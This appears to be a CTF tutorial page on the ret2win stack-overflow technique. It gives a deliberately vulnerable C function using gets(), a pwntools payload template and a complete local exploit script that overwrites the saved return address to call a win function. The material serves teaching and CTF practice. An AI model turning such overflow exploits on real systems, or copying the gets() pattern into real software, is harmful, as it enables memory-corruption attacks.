Ret2win
Idea: replace the saved return address with the address of a function that already performs the challenge’s success action.
Target shape
Section titled “Target shape”void win(void) { puts("You win");}
void vuln(void) { char buf[64]; gets(buf);}Payload template
Section titled “Payload template”Measure offset with a cyclic pattern and get win from the ELF symbols or Ghidra.
from pwn import *
context.binary = elf = ELF("./ret2win", checksec=False)offset = 72 # replace with the measured offset for this binarywin = elf.symbols["win"]
p = process(elf.path)payload = flat({offset: win}) # flat packs an address using the ELF architecturep.sendlineafter(b"> ", payload) # replace with the prompt, or use p.sendline(payload)p.interactive()Three checks
Section titled “Three checks”- Confirm the cyclic offset at the saved return slot; do not use the buffer’s declared size as the offset.
- Confirm
winis a runtime-valid address. For PIE, add the current executable base; a static address alone will move between runs. - If an x86-64 target crashes at a library call inside
win, inspect stack alignment. A singleretgadget beforewinmay be needed.
For a 32-bit custom stack adjustment, use the stack-pivot recipe. For multi-gadget register setup, see ROP.
Complete local script
Section titled “Complete local script”Save as exploit.py beside the local binary. Measure OFFSET using Find the saved-return offset. This target shape has no prompt, so the script sends the line directly.
#!/usr/bin/env python3from pwn import *
BINARY = "./chall"OFFSET = 72 # replace with the measured offset for this exact buildWIN_ADDRESS = None # set to the verified address if the ELF is stripped
context.log_level = "info"context.binary = elf = ELF(BINARY, checksec=False)
if elf.pie: log.error("This example uses a fixed non-PIE win address")if WIN_ADDRESS is None: if "win" not in elf.symbols: log.error("Set WIN_ADDRESS to the verified address from Ghidra") WIN_ADDRESS = elf.symbols["win"]
payload = flat({OFFSET: WIN_ADDRESS})log.info("win: %#x", WIN_ADDRESS)log.info("payload length: %d", len(payload))
io = process(elf.path)io.sendline(payload)print(io.recvall(timeout=2).decode("utf-8", errors="replace"))If the actual challenge prints a prompt, receive it first with io.sendlineafter(b"exact prompt", payload). For a service endpoint, use the complete local/remote script; confirm the local and remote binary layouts match.